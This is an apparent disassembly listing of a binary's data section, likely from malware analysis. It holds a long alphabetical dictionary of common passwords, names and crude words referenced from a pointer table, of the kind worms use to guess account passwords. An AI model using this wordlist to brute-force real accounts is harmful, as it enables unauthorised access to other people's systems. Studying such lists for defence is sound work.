aGhost		db 'ghost',0            ; DATA XREF: .nsp0:00426CE0o
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: .nsp0:00426CDCo
		align 4
aGerm		db 'germ',0             ; DATA XREF: .nsp0:00426CD8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .nsp0:00426CD4o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: .nsp0:00426CD0o
		align 4
aGatt		db 'gatt',0             ; DATA XREF: .nsp0:00426CCCo
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: .nsp0:00426CC8o
		align 10h
aGateway	db 'gateway',0          ; DATA XREF: .nsp0:00426CC4o
aGarfield	db 'garfield',0         ; DATA XREF: .nsp0:00426CC0o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: .nsp0:00426CBCo
aGames		db 'games',0            ; DATA XREF: .nsp0:00426CB8o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: .nsp0:00426CB4o
aFungible	db 'fungible',0         ; DATA XREF: .nsp0:00426CB0o
		align 4
aFunction	db 'function',0         ; DATA XREF: .nsp0:00426CACo
		align 4
aFudge		db 'fudge',0            ; DATA XREF: .nsp0:00426CA8o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: .nsp0:00426CA4o
aFuckme		db 'fuckme',0           ; DATA XREF: .nsp0:00426CA0o
		align 4
aFucking	db 'fucking',0          ; DATA XREF: .nsp0:00426C9Co
aFucker		db 'fucker',0           ; DATA XREF: .nsp0:00426C98o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .nsp0:00426C94o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: .nsp0:00426C90o
		align 4
aFrog		db 'frog',0             ; DATA XREF: .nsp0:00426C8Co
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: .nsp0:00426C88o
		align 10h
aFriends	db 'friends',0          ; DATA XREF: .nsp0:00426C84o
aFriend		db 'friend',0           ; DATA XREF: .nsp0:00426C80o
		align 10h
aFriday		db 'friday',0           ; DATA XREF: .nsp0:00426C7Co
		align 4
aFrench		db 'french',0           ; DATA XREF: .nsp0:00426C78o
		align 10h
aFreedom	db 'freedom',0          ; DATA XREF: .nsp0:00426C74o
aFree		db 'free',0             ; DATA XREF: .nsp0:00426C70o
		align 10h
aFred		db 'fred',0             ; DATA XREF: .nsp0:00426C6Co
		align 4
aFreak		db 'freak',0            ; DATA XREF: .nsp0:00426C68o
		align 10h
aFrank		db 'frank',0            ; DATA XREF: .nsp0:00426C64o
		align 4
aFrance		db 'france',0           ; DATA XREF: .nsp0:00426C60o
		align 10h
aFoxtrot	db 'foxtrot',0          ; DATA XREF: .nsp0:00426C5Co
aFourier	db 'fourier',0          ; DATA XREF: .nsp0:00426C58o
aForsythe	db 'forsythe',0         ; DATA XREF: .nsp0:00426C54o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: .nsp0:00426C50o
		align 4
aFormat		db 'format',0           ; DATA XREF: .nsp0:00426C4Co
		align 10h
aForm		db 'form',0             ; DATA XREF: .nsp0:00426C48o
		align 4
aForever	db 'forever',0          ; DATA XREF: .nsp0:00426C44o
aForesigh	db 'foresigh',0         ; DATA XREF: .nsp0:00426C40o
		align 4
aFord		db 'ford',0             ; DATA XREF: .nsp0:00426C3Co
		align 4
aForce		db 'force',0            ; DATA XREF: .nsp0:00426C38o
		align 4
aFootball	db 'football',0         ; DATA XREF: .nsp0:00426C34o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: .nsp0:00426C30o
		align 4
aFool		db 'fool',0             ; DATA XREF: .nsp0:00426C2Co
		align 4
aFood		db 'food',0             ; DATA XREF: .nsp0:00426C28o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: .nsp0:00426C24o
aFlower		db 'flower',0           ; DATA XREF: .nsp0:00426C20o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: .nsp0:00426C1Co
aFloat		db 'float',0            ; DATA XREF: .nsp0:00426C18o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: .nsp0:00426C14o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: .nsp0:00426C10o
aFirewall	db 'firewall',0         ; DATA XREF: .nsp0:00426C0Co
		align 10h
aFire		db 'fire',0             ; DATA XREF: .nsp0:00426C08o
		align 4
aFinite		db 'finite',0           ; DATA XREF: .nsp0:00426C04o
		align 10h
aFile		db 'file',0             ; DATA XREF: .nsp0:00426C00o
		align 4
aFight		db 'fight',0            ; DATA XREF: .nsp0:00426BFCo
		align 10h
aField		db 'field',0            ; DATA XREF: .nsp0:00426BF8o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: .nsp0:00426BF4o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: .nsp0:00426BF0o
aFermat		db 'fermat',0           ; DATA XREF: .nsp0:00426BECo
		align 4
aFender		db 'fender',0           ; DATA XREF: .nsp0:00426BE8o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: .nsp0:00426BE4o
aFeds		db 'feds',0             ; DATA XREF: .nsp0:00426BE0o
		align 4
aFear		db 'fear',0             ; DATA XREF: .nsp0:00426BDCo
		align 4
aFast		db 'fast',0             ; DATA XREF: .nsp0:00426BD8o
		align 4
aFart		db 'fart',0             ; DATA XREF: .nsp0:00426BD4o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: .nsp0:00426BD0o
aFarad		db 'farad',0            ; DATA XREF: .nsp0:00426BCCo
		align 4
aFamily		db 'family',0           ; DATA XREF: .nsp0:00426BC8o
		align 4
aFalse		db 'false',0            ; DATA XREF: .nsp0:00426BC4o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: .nsp0:00426BC0o
		align 4
aFaith		db 'faith',0            ; DATA XREF: .nsp0:00426BBCo
		align 4
aFairway	db 'fairway',0          ; DATA XREF: .nsp0:00426BB8o
aExtensio	db 'extensio',0         ; DATA XREF: .nsp0:00426BB4o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: .nsp0:00426BB0o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: .nsp0:00426BACo
		align 10h
aExplore	db 'explore',0          ; DATA XREF: .nsp0:00426BA8o
aExplode	db 'explode',0          ; DATA XREF: .nsp0:00426BA4o
aExpert		db 'expert',0           ; DATA XREF: .nsp0:00426BA0o
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: .nsp0:00426B9Co
		align 10h
aEuclid		db 'euclid',0           ; DATA XREF: .nsp0:00426B98o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: .nsp0:00426B94o
		align 4
aEstate		db 'estate',0           ; DATA XREF: .nsp0:00426B90o
		align 4
aEstablis	db 'establis',0         ; DATA XREF: .nsp0:00426B8Co
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: .nsp0:00426B88o
		align 10h
aErotic		db 'erotic',0           ; DATA XREF: .nsp0:00426B84o
		align 4
aErin		db 'erin',0             ; DATA XREF: .nsp0:00426B80o
		align 10h
aErika		db 'erika',0            ; DATA XREF: .nsp0:00426B7Co
		align 4
aErica		db 'erica',0            ; DATA XREF: .nsp0:00426B78o
		align 10h
aEric		db 'eric',0             ; DATA XREF: .nsp0:00426B74o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: .nsp0:00426B70o
aEnzyme		db 'enzyme',0           ; DATA XREF: .nsp0:00426B6Co
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: .nsp0:00426B68o
		align 4
aEnter		db 'enter',0            ; DATA XREF: .nsp0:00426B64o
		align 4
aEnglish	db 'english',0          ; DATA XREF: .nsp0:00426B60o
aEngland	db 'england',0          ; DATA XREF: .nsp0:00426B5Co
aEngineer	db 'engineer',0         ; DATA XREF: .nsp0:00426B58o
		align 4
aEngine		db 'engine',0           ; DATA XREF: .nsp0:00426B54o
		align 10h
aEnemy		db 'enemy',0            ; DATA XREF: .nsp0:00426B50o
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: .nsp0:00426B4Co
		align 4
aEmily		db 'emily',0            ; DATA XREF: .nsp0:00426B48o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: .nsp0:00426B44o
aEmail		db 'email',0            ; DATA XREF: sub_401AA1+47E1o
					; .nsp0:00426B40o
		align 4
aEllen		db 'ellen',0            ; DATA XREF: .nsp0:00426B3Co
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: .nsp0:00426B38o
		align 10h
aElephant	db 'elephant',0         ; DATA XREF: .nsp0:00426B34o
		align 4
aElectron	db 'electron',0         ; DATA XREF: .nsp0:00426B30o
		align 4
aElanor		db 'elanor',0           ; DATA XREF: .nsp0:00426B2Co
		align 10h
aElaine		db 'elaine',0           ; DATA XREF: .nsp0:00426B28o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: .nsp0:00426B24o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: .nsp0:00426B20o
		align 10h
aEileen		db 'eileen',0           ; DATA XREF: .nsp0:00426B1Co
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: .nsp0:00426B18o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: .nsp0:00426B14o
aEdwina		db 'edwina',0           ; DATA XREF: .nsp0:00426B10o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: .nsp0:00426B0Co
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: .nsp0:00426B08o
		align 4
aEducation	db 'education',0        ; DATA XREF: .nsp0:00426B04o
		align 4
aEdition	db 'edition',0          ; DATA XREF: .nsp0:00426B00o
aEdit		db 'edit',0             ; DATA XREF: .nsp0:00426AFCo
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: .nsp0:00426AF8o
		align 10h
aEdges		db 'edges',0            ; DATA XREF: .nsp0:00426AF4o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: .nsp0:00426AF0o
		align 10h
aEcho		db 'echo',0             ; DATA XREF: .nsp0:00426AECo
		align 4
aEatme		db 'eatme',0            ; DATA XREF: .nsp0:00426AE8o
		align 10h
aEasy		db 'easy',0             ; DATA XREF: .nsp0:00426AE4o
		align 4
aEasier		db 'easier',0           ; DATA XREF: .nsp0:00426AE0o
		align 10h
aEarth		db 'earth',0            ; DATA XREF: .nsp0:00426ADCo
		align 4
aEagle		db 'eagle',0            ; DATA XREF: .nsp0:00426AD8o
		align 10h
aEager		db 'eager',0            ; DATA XREF: .nsp0:00426AD4o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: .nsp0:00426AD0o
		align 10h
aDungeon	db 'dungeon',0          ; DATA XREF: .nsp0:00426ACCo
aDuncan		db 'duncan',0           ; DATA XREF: .nsp0:00426AC8o
		align 10h
aDulce		db 'dulce',0            ; DATA XREF: .nsp0:00426AC4o
		align 4
aDuke		db 'duke',0             ; DATA XREF: .nsp0:00426AC0o
		align 10h
aDuelist	db 'duelist',0          ; DATA XREF: .nsp0:00426ABCo
aDude		db 'dude',0             ; DATA XREF: .nsp0:00426AB8o
		align 10h
aDuck		db 'duck',0             ; DATA XREF: .nsp0:00426AB4o
		align 4
aDrought	db 'drought',0          ; DATA XREF: .nsp0:00426AB0o
aDrive		db 'drive',0            ; DATA XREF: .nsp0:00426AACo
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: .nsp0:00426AA8o
		align 10h
aDragon		db 'dragon',0           ; DATA XREF: .nsp0:00426AA4o
		align 4
aDownload	db 'download',0         ; DATA XREF: .nsp0:00426AA0o
		align 4
aDope		db 'dope',0             ; DATA XREF: .nsp0:00426A9Co
		align 4
aDoors		db 'doors',0            ; DATA XREF: .nsp0:00426A98o
		align 4
aDoor		db 'door',0             ; DATA XREF: .nsp0:00426A94o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: .nsp0:00426A90o
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: .nsp0:00426A8Co
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: .nsp0:00426A88o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: .nsp0:00426A84o
		align 4
aDoom		db 'doom',0             ; DATA XREF: .nsp0:00426A80o
		align 4
aDong		db 'dong',0             ; DATA XREF: .nsp0:00426A7Co
		align 4
aDollar		db 'dollar',0           ; DATA XREF: .nsp0:00426A78o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: .nsp0:00426A74o
		align 4
aDisplay	db 'display',0          ; DATA XREF: .nsp0:00426A70o
aDisney		db 'disney',0           ; DATA XREF: .nsp0:00426A6Co
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: .nsp0:00426A68o
		align 10h
aDisk_0		db 'disk',0             ; DATA XREF: .nsp0:00426A64o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: .nsp0:00426A60o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: .nsp0:00426A5Co
		align 10h
aDiscipli	db 'discipli',0         ; DATA XREF: .nsp0:00426A58o
		align 4
aDisc		db 'disc',0             ; DATA XREF: .nsp0:00426A54o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: .nsp0:00426A50o
		align 4
aDirector	db 'director',0         ; DATA XREF: .nsp0:00426A4Co
		align 4
aDirect		db 'direct',0           ; DATA XREF: .nsp0:00426A48o
		align 10h
aDipshit	db 'dipshit',0          ; DATA XREF: .nsp0:00426A44o
aDinosaur	db 'dinosaur',0         ; DATA XREF: .nsp0:00426A40o
		align 4
aDigital	db 'digital',0          ; DATA XREF: .nsp0:00426A3Co
aDieter		db 'dieter',0           ; DATA XREF: .nsp0:00426A38o
		align 4
aDiet		db 'diet',0             ; DATA XREF: .nsp0:00426A34o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: .nsp0:00426A30o
aDick		db 'dick',0             ; DATA XREF: .nsp0:00426A2Co
		align 4
aDice		db 'dice',0             ; DATA XREF: .nsp0:00426A28o
		align 4
aDiane		db 'diane',0            ; DATA XREF: .nsp0:00426A24o
		align 4
aDiana		db 'diana',0            ; DATA XREF: .nsp0:00426A20o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: .nsp0:00426A1Co
aDial		db 'dial',0             ; DATA XREF: .nsp0:00426A18o
		align 4
aDevice		db 'device',0           ; DATA XREF: .nsp0:00426A14o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: .nsp0:00426A10o
aDesperat	db 'desperat',0         ; DATA XREF: .nsp0:00426A0Co
		align 10h
aDesktop	db 'desktop',0          ; DATA XREF: .nsp0:00426A08o
aDesk		db 'desk',0             ; DATA XREF: .nsp0:00426A04o
		align 10h
aDesiree	db 'desiree',0          ; DATA XREF: .nsp0:00426A00o
aDennis		db 'dennis',0           ; DATA XREF: .nsp0:004269FCo
		align 10h
aDenise		db 'denise',0           ; DATA XREF: .nsp0:004269F8o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: .nsp0:004269F4o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: .nsp0:004269F0o
		align 4
aDelta		db 'delta',0            ; DATA XREF: .nsp0:004269ECo
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: .nsp0:004269E8o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: .nsp0:004269E4o
aDeck		db 'deck',0             ; DATA XREF: .nsp0:004269DCo
		align 4
aDecember	db 'december',0         ; DATA XREF: .nsp0:004269D8o
		align 4
aDebug		db 'debug',0            ; DATA XREF: .nsp0:004269D4o
		align 10h
aDeborah	db 'deborah',0          ; DATA XREF: .nsp0:004269D0o
aDebbie		db 'debbie',0           ; DATA XREF: .nsp0:004269CCo
		align 10h
aDeathsta	db 'deathsta',0         ; DATA XREF: .nsp0:004269C8o
		align 4
aDead		db 'dead',0             ; DATA XREF: .nsp0:004269C4o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: .nsp0:004269C0o
		align 4
aDave		db 'dave',0             ; DATA XREF: .nsp0:004269BCo
		align 4
aData		db 'data',0             ; DATA XREF: .nsp0:004269B8o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: .nsp0:004269B4o
		align 4
aDark		db 'dark',0             ; DATA XREF: .nsp0:004269B0o
		align 10h
aDapper		db 'dapper',0           ; DATA XREF: .nsp0:004269ACo
		align 4
aDanny		db 'danny',0            ; DATA XREF: .nsp0:004269A8o
		align 10h
aDanielle	db 'danielle',0         ; DATA XREF: .nsp0:004269A4o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: .nsp0:004269A0o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: .nsp0:0042699Co
		align 4
aDana		db 'dana',0             ; DATA XREF: .nsp0:00426998o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: .nsp0:00426994o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: .nsp0:00426990o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: .nsp0:0042698Co
aCyberspa	db 'cyberspa',0         ; DATA XREF: .nsp0:00426988o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: .nsp0:00426984o
		align 4
aCyber_1	db 'cyber',0            ; DATA XREF: .nsp0:00426980o
		align 4
aCustomer	db 'customer',0         ; DATA XREF: .nsp0:0042697Co
		align 4
aCunt		db 'cunt',0             ; DATA XREF: .nsp0:00426978o
		align 10h
aCshrc		db 'cshrc',0            ; DATA XREF: .nsp0:00426974o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: .nsp0:00426970o
aCristina	db 'cristina',0         ; DATA XREF: .nsp0:0042696Co
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: .nsp0:00426968o
		align 4
aCrime		db 'crime',0            ; DATA XREF: .nsp0:00426964o
		align 10h
aCretin		db 'cretin',0           ; DATA XREF: .nsp0:00426960o
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: .nsp0:0042695Co
		align 4
aCredit		db 'credit',0           ; DATA XREF: .nsp0:00426958o
		align 4
aCreature	db 'creature',0         ; DATA XREF: .nsp0:00426954o
		align 4
aCreation	db 'creation',0         ; DATA XREF: .nsp0:00426950o
		align 4
aCreate		db 'create',0           ; DATA XREF: .nsp0:0042694Co
		align 4
aCream		db 'cream',0            ; DATA XREF: .nsp0:00426948o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: .nsp0:00426944o
		align 10h
aCrack		db 'crack',0            ; DATA XREF: .nsp0:00426940o
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: .nsp0:0042693Co
		align 10h
aCouscous	db 'couscous',0         ; DATA XREF: .nsp0:00426938o
		align 4
aCountry	db 'country',0          ; DATA XREF: .nsp0:00426934o
aCounters	db 'counters',0         ; DATA XREF: .nsp0:00426930o
		align 10h
aCorrect	db 'correct',0          ; DATA XREF: .nsp0:0042692Co
aCorneliu	db 'corneliu',0         ; DATA XREF: .nsp0:00426928o
		align 4
aCopy		db 'copy',0             ; DATA XREF: .nsp0:00426924o
		align 4
aCops		db 'cops',0             ; DATA XREF: .nsp0:00426920o
		align 4
aCopper		db 'copper',0           ; DATA XREF: .nsp0:0042691Co
		align 4
aCooper		db 'cooper',0           ; DATA XREF: .nsp0:00426918o
		align 4
aCool		db 'cool',0             ; DATA XREF: .nsp0:00426914o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: .nsp0:00426910o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: .nsp0:0042690Co
		align 10h
aCook		db 'cook',0             ; DATA XREF: .nsp0:00426908o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401AA1+3D93o
					; .nsp0:00426904o
		align 4
aConsole	db 'console',0          ; DATA XREF: .nsp0:00426900o
aConserva	db 'conserva',0         ; DATA XREF: .nsp0:004268FCo
		align 4
aConnie		db 'connie',0
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_408C5C+53Bo
aCondom		db 'condom',0
		align 10h
aCondo		db 'condo',0
		align 4
aComrades	db 'comrades',0
		align 4
aComrade	db 'comrade',0
aComputin	db 'computin',0
		align 4
aCompany	db 'company',0
aCommrade	db 'commrade',0
		align 4
aCommit		db 'commit',0
		align 4
aComics		db 'comics',0
		align 4
aCombat		db 'combat',0
		align 4
aColor		db 'color',0
		align 4
aCollins	db 'collins',0
aCold		db 'cold',0
		align 4
aCola		db 'cola',0
		align 4
aCoke		db 'coke',0
		align 4
aCoin		db 'coin',0
		align 4
aCoffee		db 'coffee',0
		align 4
aCodeword	db 'codeword',0
		align 4
aCodename	db 'codename',0
		align 4
aCode		db 'code',0             ; DATA XREF: .nsp0:004268A4o
		align 4
aCock		db 'cock',0
		align 4
aCocainco	db 'cocainco',0
		align 10h
aCocacola	db 'cocacola',0         ; DATA XREF: .nsp0:00426898o
		align 4
aCoast		db 'coast',0            ; DATA XREF: .nsp0:00426894o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: .nsp0:00426890o
		align 10h
aCluster	db 'cluster',0          ; DATA XREF: .nsp0:0042688Co
aClinton	db 'clinton',0
aCleavage	db 'cleavage',0
		align 4
aClaymore	db 'claymore',0
		align 4
aClaudia	db 'claudia',0
aClassic	db 'classic',0
aClasses	db 'classes',0
aClass		db 'class',0
		align 4
aCindy		db 'cindy',0
		align 10h
aCigarett	db 'cigarett',0
		align 4
aCigar		db 'cigar',0
		align 4
aChristy	db 'christy',0
aChristin	db 'christin',0
		align 4
aChris		db 'chris',0
		align 10h
aChip		db 'chip',0
		align 4
aChester	db 'chester',0
aChess		db 'chess',0
		align 4
aChemistr	db 'chemistr',0
		align 4
aChem		db 'chem',0
		align 4
aChat		db 'chat',0
		align 4
aCharon		db 'charon',0
		align 4
aCharming	db 'charming',0
		align 4
aCharlie	db 'charlie',0
aCharles	db 'charles',0
aCharity	db 'charity',0
aChange		db 'change',0
		align 4
aCerulean	db 'cerulean',0
		align 4
aCeltics	db 'celtics',0
aCeltic		db 'celtic',0
		align 4
aCelt		db 'celt',0
		align 4
aCecily		db 'cecily',0
		align 4
aCayuga		db 'cayuga',0
		align 4
aCave		db 'cave',0
		align 4
aCathy		db 'cathy',0
		align 4
aCatholic	db 'catholic',0
		align 4
aCatherin	db 'catherin',0
		align 4
aCastle		db 'castle',0
		align 4
aCash		db 'cash',0
		align 4
aCascades	db 'cascades',0
		align 10h
aCarson		db 'carson',0
		align 4
aCarrie		db 'carrie',0
		align 10h
aCaroline	db 'caroline',0
		align 4
aCarolina	db 'carolina',0
		align 4
aCarole		db 'carole',0
		align 10h
aCarol		db 'carol',0
		align 4
aCarmen		db 'carmen',0
		align 10h
aCarla		db 'carla',0
		align 4
aCaren		db 'caren',0
		align 10h
aCardinal	db 'cardinal',0
		align 4
aCard		db 'card',0
		align 4
aCapture	db 'capture',0          ; DATA XREF: .nsp0:004267C4o
aCaptain	db 'captain',0          ; DATA XREF: .nsp0:004267C0o
aCantor		db 'cantor',0           ; DATA XREF: .nsp0:004267BCo
		align 4
aCandy		db 'candy',0            ; DATA XREF: .nsp0:004267B8o
		align 4
aCandi		db 'candi',0            ; DATA XREF: .nsp0:004267B4o
		align 4
aCamping	db 'camping',0          ; DATA XREF: .nsp0:004267B0o
aCampanil	db 'campanil',0         ; DATA XREF: .nsp0:004267ACo
		align 10h
aCamille	db 'camille',0          ; DATA XREF: .nsp0:004267A8o
aCaliforn	db 'californ',0         ; DATA XREF: .nsp0:004267A4o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: .nsp0:004267A0o
		align 10h
aButt		db 'butt',0             ; DATA XREF: .nsp0:0042679Co
		align 4
aButch		db 'butch',0            ; DATA XREF: .nsp0:00426798o
		align 10h
aBurn		db 'burn',0             ; DATA XREF: .nsp0:00426794o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: .nsp0:00426790o
aBung		db 'bung',0             ; DATA XREF: .nsp0:0042678Co
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: .nsp0:00426788o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: .nsp0:00426784o
		align 10h
aBulls		db 'bulls',0            ; DATA XREF: .nsp0:00426780o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: .nsp0:0042677Co
		align 4
aBrute		db 'brute',0            ; DATA XREF: .nsp0:00426778o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: .nsp0:00426774o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: .nsp0:00426770o
aBroadway	db 'broadway',0         ; DATA XREF: .nsp0:0042676Co
		align 4
aBridget	db 'bridget',0          ; DATA XREF: .nsp0:00426768o
aBrian		db 'brian',0            ; DATA XREF: .nsp0:00426764o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: .nsp0:00426760o
		align 4
aBreast		db 'breast',0           ; DATA XREF: .nsp0:0042675Co
		align 4
aBreak		db 'break',0            ; DATA XREF: .nsp0:00426758o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: .nsp0:00426754o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: .nsp0:00426750o
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: .nsp0:0042674Co
		align 4
aBradley	db 'bradley',0          ; DATA XREF: .nsp0:00426748o
aBoyscout	db 'boyscout',0         ; DATA XREF: .nsp0:00426744o
		align 10h
aBorn		db 'born',0             ; DATA XREF: .nsp0:00426740o
		align 4
aBook		db 'book',0             ; DATA XREF: .nsp0:0042673Co
		align 10h
aBoobs		db 'boobs',0            ; DATA XREF: .nsp0:00426738o
		align 4
aBoob		db 'boob',0             ; DATA XREF: .nsp0:00426734o
		align 10h
aBoner		db 'boner',0            ; DATA XREF: .nsp0:00426730o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: .nsp0:0042672Co
		align 10h
aBoard		db 'board',0            ; DATA XREF: .nsp0:00426728o
		align 4
aBlues		db 'blues',0            ; DATA XREF: .nsp0:00426724o
		align 10h
aBlue		db 'blue',0             ; DATA XREF: .nsp0:00426720o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: .nsp0:0042671Co
aBlow		db 'blow',0             ; DATA XREF: .nsp0:00426718o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: .nsp0:00426714o
		align 4
aBlood		db 'blood',0            ; DATA XREF: .nsp0:00426710o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: .nsp0:0042670Co
aBlonde		db 'blonde',0           ; DATA XREF: .nsp0:00426708o
		align 4
aBlack		db 'black',0            ; DATA XREF: .nsp0:00426704o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: .nsp0:00426700o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: .nsp0:004266FCo
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .nsp0:004266F8o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: .nsp0:004266F4o
		align 4
aBird		db 'bird',0             ; DATA XREF: .nsp0:004266F0o
		align 4
aBios		db 'bios',0             ; DATA XREF: .nsp0:004266ECo
		align 4
aBinary		db 'binary',0           ; DATA XREF: .nsp0:004266E8o
		align 4
aBill		db 'bill',0             ; DATA XREF: .nsp0:004266E4o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: .nsp0:004266E0o
aBicamera	db 'bicamera',0         ; DATA XREF: .nsp0:004266DCo
		align 4
aBible		db 'bible',0            ; DATA XREF: .nsp0:004266D8o
		align 10h
aBeverly	db 'beverly',0          ; DATA XREF: .nsp0:004266D4o
aBetty		db 'betty',0            ; DATA XREF: .nsp0:004266D0o
		align 10h
aBetsie		db 'betsie',0           ; DATA XREF: .nsp0:004266CCo
		align 4
aBeth		db 'beth',0             ; DATA XREF: .nsp0:004266C8o
		align 10h
aBeta		db 'beta',0             ; DATA XREF: .nsp0:004266C4o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: .nsp0:004266C0o
		align 10h
aBerliner	db 'berliner',0         ; DATA XREF: .nsp0:004266BCo
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: .nsp0:004266B8o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: .nsp0:004266B4o
		align 10h
aBeowulf	db 'beowulf',0          ; DATA XREF: .nsp0:004266B0o
aBenz		db 'benz',0             ; DATA XREF: .nsp0:004266ACo
		align 10h
aBeloved	db 'beloved',0          ; DATA XREF: .nsp0:004266A8o
aBell		db 'bell',0             ; DATA XREF: .nsp0:004266A4o
		align 10h
aBehead		db 'behead',0           ; DATA XREF: .nsp0:004266A0o
		align 4
aBegin		db 'begin',0            ; DATA XREF: .nsp0:0042669Co
		align 10h
aBeethove	db 'beethove',0         ; DATA XREF: .nsp0:00426698o
		align 4
aBecky		db 'becky',0            ; DATA XREF: .nsp0:00426694o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: .nsp0:00426690o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: .nsp0:0042668Co
		align 4
aBeater		db 'beater',0           ; DATA XREF: .nsp0:00426688o
		align 4
aBeast		db 'beast',0            ; DATA XREF: .nsp0:00426684o
		align 4
aBear		db 'bear',0             ; DATA XREF: .nsp0:00426680o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: .nsp0:0042667Co
		align 4
aBeach		db 'beach',0            ; DATA XREF: .nsp0:00426678o
		align 10h
aBatman		db 'batman',0           ; DATA XREF: .nsp0:00426674o
		align 4
aBatch		db 'batch',0            ; DATA XREF: .nsp0:00426670o
		align 10h
aBassoon	db 'bassoon',0          ; DATA XREF: .nsp0:0042666Co
aBass		db 'bass',0             ; DATA XREF: .nsp0:00426668o
		align 10h
aBasic		db 'basic',0            ; DATA XREF: .nsp0:00426664o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: .nsp0:00426660o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: .nsp0:0042665Co
aBart		db 'bart',0             ; DATA XREF: .nsp0:00426658o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: .nsp0:00426654o
		align 10h
